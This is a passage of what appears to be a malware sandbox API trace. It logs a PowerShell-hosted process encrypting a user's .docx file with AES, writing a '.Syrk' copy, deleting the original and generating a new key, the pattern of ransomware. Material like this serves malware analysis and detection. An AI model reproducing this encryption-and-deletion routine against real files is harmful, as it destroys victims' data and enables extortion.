MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.585] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0232.586] CryptImportKey (in: hProv=0x5c4d210, pbData=0x24424c0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c994e0) returned 1 [0232.587] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.587] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.587] EtwEventActivityIdControl () returned 0x0 [0232.587] EtwEventActivityIdControl () returned 0x0 [0232.587] EtwEventActivityIdControl () returned 0x0 [0232.592] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0232.593] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0232.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.593] EtwEventActivityIdControl () returned 0x0 [0232.594] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.594] EtwEventActivityIdControl () returned 0x0 [0232.594] EtwEventActivityIdControl () returned 0x0 [0232.594] EtwEventActivityIdControl () returned 0x0 [0232.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0232.595] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0232.643] GetFileType (hFile=0x454) returned 0x1 [0232.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0232.643] GetFileType (hFile=0x454) returned 0x1 [0232.643] EtwEventActivityIdControl () returned 0x0 [0232.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.643] EtwEventActivityIdControl () returned 0x0 [0232.643] EtwEventActivityIdControl () returned 0x0 [0232.643] EtwEventActivityIdControl () returned 0x0 [0232.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0232.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk", lpFilePart=0x0) returned 0x32 [0232.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0232.645] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0232.646] GetFileType (hFile=0x458) returned 0x1 [0232.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0232.646] GetFileType (hFile=0x458) returned 0x1 [0232.646] EtwEventActivityIdControl () returned 0x0 [0232.646] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x24527cc | out: pbBuffer=0x24527cc) returned 1 [0232.647] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.647] CryptDuplicateKey (in: hKey=0x5c994e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99760) returned 1 [0232.647] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.647] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x4, pbData=0x2453af8*=0x1, dwFlags=0x0) returned 1 [0232.647] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x1, pbData=0x2453ac4, dwFlags=0x0) returned 1 [0232.651] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.651] EtwEventActivityIdControl () returned 0x0 [0232.651] EtwEventActivityIdControl () returned 0x0 [0232.651] EtwEventActivityIdControl () returned 0x0 [0232.652] EtwEventActivityIdControl () returned 0x0 [0232.652] ReadFile (in: hFile=0x454, lpBuffer=0x2456740, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2456740*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0232.654] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x246a758*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x246a758*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0232.655] WriteFile (in: hFile=0x458, lpBuffer=0x24528a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24528a8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0232.657] WriteFile (in: hFile=0x458, lpBuffer=0x246b744*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x246b744*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0232.659] ReadFile (in: hFile=0x454, lpBuffer=0x2456740, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2456740*, lpNumberOfBytesRead=0x5a2e7d8*=0xe3, lpOverlapped=0x0) returned 1 [0232.659] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x247e764*, pdwDataLen=0x5a2e7cc*=0xe0, dwBufLen=0xe0 | out: pbData=0x247e764*, pdwDataLen=0x5a2e7cc*=0xe0) returned 1 [0232.659] ReadFile (in: hFile=0x454, lpBuffer=0x2456740, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2456740*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0232.659] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x247e850*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x247e850*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0232.659] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x247e86c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x247e86c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0232.659] WriteFile (in: hFile=0x458, lpBuffer=0x24528a8*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24528a8*, lpNumberOfBytesWritten=0x5a2e7f8*=0xf0, lpOverlapped=0x0) returned 1 [0232.659] CloseHandle (hObject=0x458) returned 1 [0232.662] CloseHandle (hObject=0x454) returned 1 [0232.662] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.662] EtwEventActivityIdControl () returned 0x0 [0232.662] EtwEventActivityIdControl () returned 0x0 [0232.662] EtwEventActivityIdControl () returned 0x0 [0232.667] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0232.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.669] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0232.669] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0232.669] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0232.669] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0232.669] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0232.669] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0232.669] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0232.669] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0232.669] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0232.669] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0232.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0232.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0232.670] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0232.670] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0232.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0232.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0232.670] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0232.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0232.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.673] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0232.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0232.673] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0232.673] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0232.673] CoTaskMemFree (pv=0x5c9b950) [0232.675] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 0x20 [0232.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0232.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx", lpFilePart=0x0) returned 0x2d [0232.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0232.676] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx"), fInfoLevelId=0x0, lpFileInformation=0x2489b4c | out: lpFileInformation=0x2489b4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142e0fa0, ftCreationTime.dwHighDateTime=0x1d994fd, ftLastAccessTime.dwLowDateTime=0xaaed6420, ftLastAccessTime.dwHighDateTime=0x1d9986a, ftLastWriteTime.dwLowDateTime=0xaaed6420, ftLastWriteTime.dwHighDateTime=0x1d9986a, nFileSizeHigh=0x0, nFileSizeLow=0x140e3)) returned 1 [0232.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0232.676] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx")) returned 1 [0232.678] EtwEventActivityIdControl () returned 0x0 [0232.678] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.678] EtwEventActivityIdControl () returned 0x0 [0232.679] EtwEventActivityIdControl () returned 0x0 [0232.679] EtwEventActivityIdControl () returned 0x0 [0232.684] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx.syrk")) returned 0x20 [0232.684] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx.syrk")) returned 0x20 [0232.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0232.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk", lpFilePart=0x0) returned 0x32 [0232.685] EtwEventActivityIdControl () returned 0x0 [0232.685] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.685] EtwEventActivityIdControl () returned 0x0 [0232.685] EtwEventActivityIdControl () returned 0x0 [0232.685] EtwEventActivityIdControl () returned 0x0 [0232.688] EtwEventActivityIdControl () returned 0x0 [0232.689] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.835] EtwEventActivityIdControl () returned 0x0 [0232.835] EtwEventActivityIdControl () returned 0x0 [0232.835] EtwEventActivityIdControl () returned 0x0 [0232.839] EtwEventActivityIdControl () returned 0x0 [0232.839] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.839] EtwEventActivityIdControl () returned 0x0 [0232.839] EtwEventActivityIdControl () returned 0x0 [0232.839] EtwEventActivityIdControl () returned 0x0 [0232.842] EtwEventActivityIdControl () returned 0x0 [0232.843] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.843] EtwEventActivityIdControl () returned 0x0 [0232.843] EtwEventActivityIdControl () returned 0x0 [0232.843] EtwEventActivityIdControl () returned 0x0 [0232.847] EtwEventActivityIdControl () returned 0x0 [0232.847] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.847] EtwEventActivityIdControl () returned 0x0 [0232.847] EtwEventActivityIdControl () returned 0x0 [0232.847] EtwEventActivityIdControl () returned 0x0 [0232.850] EtwEventActivityIdControl () returned 0x0 [0232.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0232.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\UYWqtSLk mI.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\uywqtslk mi.docx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2493550 | out: lpFileInformation=0x2493550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a06de0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x6a06de0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x6a2cf40, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x14104)) returned 1 [0232.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0232.854] GetConsoleOutputCP () returned 0x1b5 [0232.854] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.854] GetConsoleOutputCP () returned 0x1b5 [0232.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.855] GetConsoleOutputCP () returned 0x1b5 [0232.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.855] GetConsoleOutputCP () returned 0x1b5 [0232.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.855] GetConsoleOutputCP () returned 0x1b5 [0232.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.855] GetConsoleOutputCP () returned 0x1b5 [0232.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.855] GetConsoleOutputCP () returned 0x1b5 [0232.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.856] GetConsoleOutputCP () returned 0x1b5 [0232.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.856] GetConsoleOutputCP () returned 0x1b5 [0232.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.856] GetConsoleOutputCP () returned 0x1b5 [0232.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.856] GetConsoleOutputCP () returned 0x1b5 [0232.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.856] GetConsoleOutputCP () returned 0x1b5 [0232.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.856] GetConsoleOutputCP () returned 0x1b5 [0232.857] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.857] GetConsoleOutputCP () returned 0x1b5 [0232.857] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.857] GetConsoleOutputCP () returned 0x1b5 [0232.857] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.857] GetConsoleOutputCP () returned 0x1b5 [0232.857] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.857] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0232.858] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0232.858] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24ad1a4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24ad1a4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0232.858] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0232.859] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0232.859] EtwEventActivityIdControl () returned 0x0 [0232.859] EtwEventActivityIdControl () returned 0x0 [0232.860] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.860] EtwEventActivityIdControl () returned 0x0 [0232.860] EtwEventActivityIdControl () returned 0x0 [0232.860] EtwEventActivityIdControl () returned 0x0 [0232.862] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.862] EtwEventActivityIdControl () returned 0x0 [0232.862] EtwEventActivityIdControl () returned 0x0 [0232.862] EtwEventActivityIdControl () returned 0x0 [0232.864] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0232.865] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c996a0) returned 1 [0232.865] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.865] CryptExportKey (in: hKey=0x5c996a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0232.865] CryptExportKey (in: hKey=0x5c996a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24b4b7c, pdwDataLen=0x5a2e8c4 | out: pbData=0x24b4b7c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0232.866] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.866] EtwEventActivityIdControl () returned 0x0 [0232.866] EtwEventActivityIdControl () returned 0x0 [0232.866] EtwEventActivityIdControl () returned 0x0 [0232.867] SysStringLen (param_1="") returned 0x8 [0232.867] SysStringLen (param_1="N") returned 0x8 [0232.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.867] 